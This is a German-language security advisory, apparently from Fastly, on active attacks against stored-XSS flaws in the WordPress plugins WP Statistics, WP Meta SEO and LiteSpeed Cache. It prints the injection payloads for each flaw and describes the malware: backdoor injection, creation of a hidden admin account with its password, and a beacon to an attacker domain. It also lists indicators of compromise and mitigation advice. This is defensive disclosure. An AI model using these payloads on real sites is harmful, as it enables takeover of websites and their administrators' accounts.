Aktive Ausnutzung nicht authentifizierter gespeicherter XSS-Schwachstellen in WordPress Plugins
Wir haben aktive Exploit-Versuche beobachtet, die auf drei hochgefährliche CVEs abzielen: CVE-2024-2194, CVE-2023-6961 und CVE-2023-40000. Diese Schwachstellen treten in verschiedenen WordPress Plugins auf und bieten eine Angriffsfläche für nicht authentifizierte, gespeicherte Cross-Site Scripting (XSS)-Angriffe. Der Hintergrund: Input-Bereinigung und Output-Escaping sind unzureichend, sodass Angreifer schädliche Skripte einschleusen können.
Die von uns beobachteten Angriffs-Payloads, die auf diese Schwachstellen abzielen, injizieren ein Skript-Tag, das auf eine verschleierte JavaScript Datei verweist, die auf einer externen Domain gehostet wird. Das für die Ausnutzung dieser Schwachstellen verwendete Skript ist immer gleich und konzentriert sich auf folgende schädliche Aktionen:
Erstellung eines neuen Admin-Accounts
Backdoor-Injektion
Einrichtung von Tracking-Skripten, vermutlich zur Überwachung infizierter Websites
Wir haben auch eine beträchtliche Anzahl von Angriffsversuchen beobachtet, die von IP-Adressen in Verbindung mit dem autonomen System (AS) IP Volume Inc. ausgingen. Geografisch waren die meisten davon in den Niederlanden zu verorten. Darüber hinaus haben wir fünf Domains ausfindig gemacht, auf die sich die Angriffs-Payloads beziehen. In der letzten Tracking-Phase werden zwei weitere Domains verwendet, die sich mit früheren Exploit-Kampagnen von WordPress Plugins in Verbindung bringen ließen (1 und 2).
Die Schwachstellen im Detail
CVE-2024-2194
Das Plugin WP Statistics (Version 14.5 und älter) ist über den URL-Suchparameter anfällig für gespeichertes Cross-Site Scripting.
utm_id="><script src="https://{CALLBACK_DOMAIN}/"></script>
Diese Schwachstelle ermöglicht es nicht authentifizierten Angreifern, beliebige Webskripte über den URL-Suchparameter einzuschleusen. Diese Skripte werden jedes Mal ausgeführt, wenn ein Nutzer auf eine infizierte Seite zugreift. Der Angreifer sendet wiederholt Anfragen mit dieser Payload, um sicherzustellen, dass sie auf den meistbesuchten Seiten auftaucht, und fügt den Parameter „utm_id“ zu diesen Anfragen hinzu.
Diese Schwachstelle wurde am 11. März 2024 von Tim Coen aufgedeckt. Das Plugin WP Statistics zählt über 600.000 aktive Installationen. Den Statistiken zufolge sind ältere Versionen als 14.5 auf etwa 48 % aller Websites, die das Plugin verwenden, aktiv.
CVE-2023-6961
Das Plugin WP Meta SEO (Version 4.5.12 und älter) ist anfällig für gespeicherte XSS-Angriffe über den HTTP-Header Referer.
Referer: <script src="https://{CALLBACK_DOMAIN}/"></script>
Der Angreifer sendet diese Payload an eine Ziel-Website, insbesondere an eine Seite, die eine 404-Antwort erzeugt. Das Plugin WP Meta SEO fügt diesen nicht bereinigten Header in die Datenbank ein, um Redirects zu verfolgen. Wenn ein Administrator die Seite mit den 404-Antworten und Redirects lädt, ruft das Skript eine verschleierte JavaScript Datei von der Callback Domain ab und führt sie im Browser des Opfers aus. Wenn das Opfer authentifiziert ist (z. B. wenn der WP Admin eingeloggt ist), werden seine Anmeldedaten für weitere böswillige Aktionen ausgenutzt.
Die Schwachstelle wurde am 16. April 2024 vom Researcher Krzysztof Zając von CERT PL aufgedeckt. Das Plugin WP Statistics zählt über 600.000 aktive Installationen. Den Statistiken zufolge sind ältere Versionen als 4.5 weiterhin auf ca. 27 % der Websites, die das Plugin nutzen, aktiv.
CVE-2023-40000
Das Plugin LiteSpeed Cache (Version 5.7.0.1 und älter) für WordPress ist anfällig für gespeichertes Cross-Site Scripting über die Parameter „nameservers“ und „_msg“.
result[_msg]=<script src="https://{CALLBACK_DOMAIN}/"></script>
Die XSS-Schwachstelle wird ausgelöst, wenn ein Admin auf eine beliebige Backend-Seite zugreift, da die XSS-Payloads als Admin-Benachrichtigung getarnt sind und das bösartige Skript mit den Anmeldedaten des Admins ausgeführt wird, um anschließend böswillige Aktionen durchzuführen.
Diese Schwachstelle wurde im Februar 2024 von Patchstack aufgedeckt. Das Plugin LiteSpeed Cache ist mit über 5 Millionen aktiven Installationen weit verbreitet. Statistiken zufolge sind ältere Versionen als 5.7 auf 15,7 % aller Websites, die das Plugin verwenden, aktiv. Dies deutet darauf hin, dass eine erhebliche Anzahl von Websites gefährdet ist.
JavaScript Malware
Die Inhalte der schädlichen JavaScript Datei führen folgende Aktionen aus:
Einschleusen bösartiger PHP Backdoors:
in Plugin-Dateien
in Themendateien
Erstellen eines neuen Admin-Accounts:
sendet eine Anfrage an die WordPress Installation des Servers, um ein neues Administratorkonto zu erstellen
Einrichten von Tracking:
implementiert ein Tracking über Yandex, entweder über JavaScript oder ein Tracking-Pixel
Die schädliche PHP-Datei führt folgende Aktionen aus:
Einschleusen eines Tracking-Skripts:
sucht rekursiv nach wp-loads.php und injiziert Folgendes in wp-config.php:
<script src="https://{TRACKING_DOMAIN}/"></script>
Erstellen eines neuen WordPress Admin-Nutzers:
Username: admim
Passwort: 7F9SzCnS6g3AFLAO39Ro
E-Mail-Adresse: admim@mystiqueapi[.]com
Tracken infizierter Hosts:
sendet eine GET-Anfrage an:
hxxp://ur.mystiqueapi[.]com/?ur=<$_SERVER['HTTP_HOST']>
trackt die infizierten Hosts durch Erfassung der HTTP-Host-Informationen
Aktivitäten der Angreifer
CVE-2024-2194
Die Domain media.cdnstaticjs[.]com steht im Zusammenhang mit dem Exploit CVE-2024-2194. Wir haben Angriffe von 17 verschiedenen IP-Adressen beobachtet, die auf diese Schwachstelle abzielen. Sie stammen hauptsächlich von AS202425 (IP Volume Inc.) und AS210848 (Telkom Internet LTD), wobei die meisten Angriffe aus den Niederlanden kamen.
CVE-2023-6961
Die Domain idc.cloudiync[.]com steht im Zusammenhang mit dem Exploit CVE-2023-6961. Bis heute haben über 5 Milliarden Anfragen versucht, diese Sicherheitslücke von einer einzigen IP-Adresse aus auszunutzen, die aus dem autonomen System AS202425 (IP Volume Inc.) stammt. Außerdem beobachten wir seit dem 16. Mai, dass media.cdnstaticjs[.]com für Angriffe verwendet wird, die auf diese Schwachstelle abzielen. Diese Domain wird auch bei Angriffen auf CVE-2024-2194 verwendet.
CVE-2023-40000
Die Domains cloud.cdndynamic[.]com, go.kcloudinc[.]com und cdn.mediajsdelivery[.]com stehen im Zusammenhang mit dem Exploit CVE-2023-40000. Der letzte beobachtete Angriff unter Verwendung der Domain cdn.mediajsdelivery[.]com fand am 15. April statt. Seitdem haben wir nur noch festgestellt, dass cloud.cdndynamic[.]com und go.kcloudinc[.]com für Angriffe auf diese Schwachstelle verwendet werden.
Im Gegensatz zu den beiden vorherigen Schwachstellen sind die Angriffe auf CVE-2023-40000 stärker auf verschiedene IP-Adressen und autonome Systeme verteilt. Wir haben Angriffe von 1.664 verschiedenen IP-Adressen beobachtet, die hauptsächlich von AS210848 (Telkom Internet LTD) und AS202425 (IP Volume Inc.) stammen, wobei die allermeisten Angriffe aus den Niederlanden kamen.
Tracking Domains
Die Domain assets.scontentflow[.]com wurde kurz nach der Veröffentlichung von CVE-2023-6961 registriert, und dies ist die primäre Domain, die in den Code infizierter Websites geschrieben wurde, der aus Payloads von idc.cloudiync[.]com stammt. Unsere Recherchen haben ergeben, dass nur wenige Webseiten diese Payload enthalten, was darauf hindeutet, dass die Infektion mit dieser Payload bisher nur begrenzt erfolgreich war.
Die Domain cache.cloudswiftcdn[.]com wurde registriert, bevor alle drei CVEs veröffentlicht wurden. Die beobachteten Payloads, die auf diese Domain verweisen, sind ähnlich strukturiert wie die anderen Payloads, die wir beobachtet haben, fügen aber über 40 zusätzliche Themen hinzu, um sich eine Backdoor offen zu halten. Laut einer Suche auf PublicWWW gibt es über 3.000 Seiten, die dieses Skript enthalten. Zusammen mit den oben erwähnten Angaben zum Registrierungszeitpunkt könnte dies auf eine längere Nutzungsdauer oder Infektionszeit hindeuten.
Angriffsindikatoren
Domains
Folgende Domains werden mit Exploit-Versuchen in Verbindung gebracht, die auf die genannten Schwachstellen abzielen.
media.cdnstaticjs[.]com
cloud.cdndynamic[.]com
idc.cloudiync[.]com
cdn.mediajsdelivery[.]com
go.kcloudinc[.]com
assets.scontentflow[.]com
cache.cloudswiftcdn[.]com
IP-Adressen
Folgende IP-Adressen werden mit Exploit-Versuchen in Verbindung gebracht, die auf die genannten Schwachstellen abzielen. Diese Liste ist allerdings nicht vollständig.
80.82.76[.]214
31.43.191[.]220
94.102.51[.]144
94.102.51[.]95
91.223.82[.]150
185.7.33[.]129
101.99.75[.]178
94.242.61[.]217
80.82.78[.]133
111.90.150[.]154
103.155.93[.]120
185.100.87[.]144
185.162.130[.]23
101.99.75[.]215
111.90.150[.]123
103.155.93[.]244
185.209.162[.]247
179.43.172[.]148
185.159.82[.]103
185.247.226[.]37
185.165.169[.]62
Hinweise zur Angriffsabwehr
Überprüfen Sie Ihre installierten Plugins, wenden Sie alle verfügbaren Updates an und löschen Sie Ordner, die mit verdächtigen Plugins in Zusammenhang stehen.
Achten Sie auf Nutzer mit Admin-Rechten und insbesondere auf den Nutzernamen admim und die E-Mail-Adresse admim[@]mystiqueapi[.]com.
Überprüfen Sie alle Dateien auf unerwartete Änderungen, insbesondere wenn sie verdächtige Skripte enthalten. Halten Sie Ausschau nach folgendem injiziertem Code:
<script src="hxxps://assets.scontentflow[.]com"</script>
<script src="hxxps://cache.cloudswiftcdn[.]com"</script>
Achten Sie auf unerwartete ausgehende Anfragen, insbesondere solche, die zu Yandex Tracking-Links oder zu http://ur.mystiqueapi\[.\]com/?ur führen.
Wenn Sie eines dieser Anzeichen entdecken, wurde Ihre Website durch Ausnutzung einer der hier erörterten Sicherheitslücken angegriffen.
Für Fastly Kunden
Fastly Next-Gen WAF Kunden können in ihren Angriffs-Logs erfahren, ob sie gefährdet sind oder nicht, indem sie diese nach den entsprechenden Indikatoren durchsuchen. Versuchte Exploits für alle drei CVEs werden standardmäßig erkannt und als Cross-Site Scripting (XSS) gekennzeichnet. Die sieben Domains, die mit Exploit-Versuchen in Verbindung stehen, sind mit dem Signal „Out-of-Band Domain (OOB-DOMAIN)“ gekennzeichnet.
Außerdem werden die Quell-IP-Adressen der Angreifer über Fastlys Network Learning Exchange (NLX) für alle Next-Gen WAF Kundennetzwerke freigegeben. Wenn Sie weitere Maßnahmen ergreifen oder zusätzliche Erkenntnisse über diese Angriffskampagne gewinnen möchten, können Sie mithilfe der hier genannten Indikatoren nutzerdefinierte Regeln erstellen.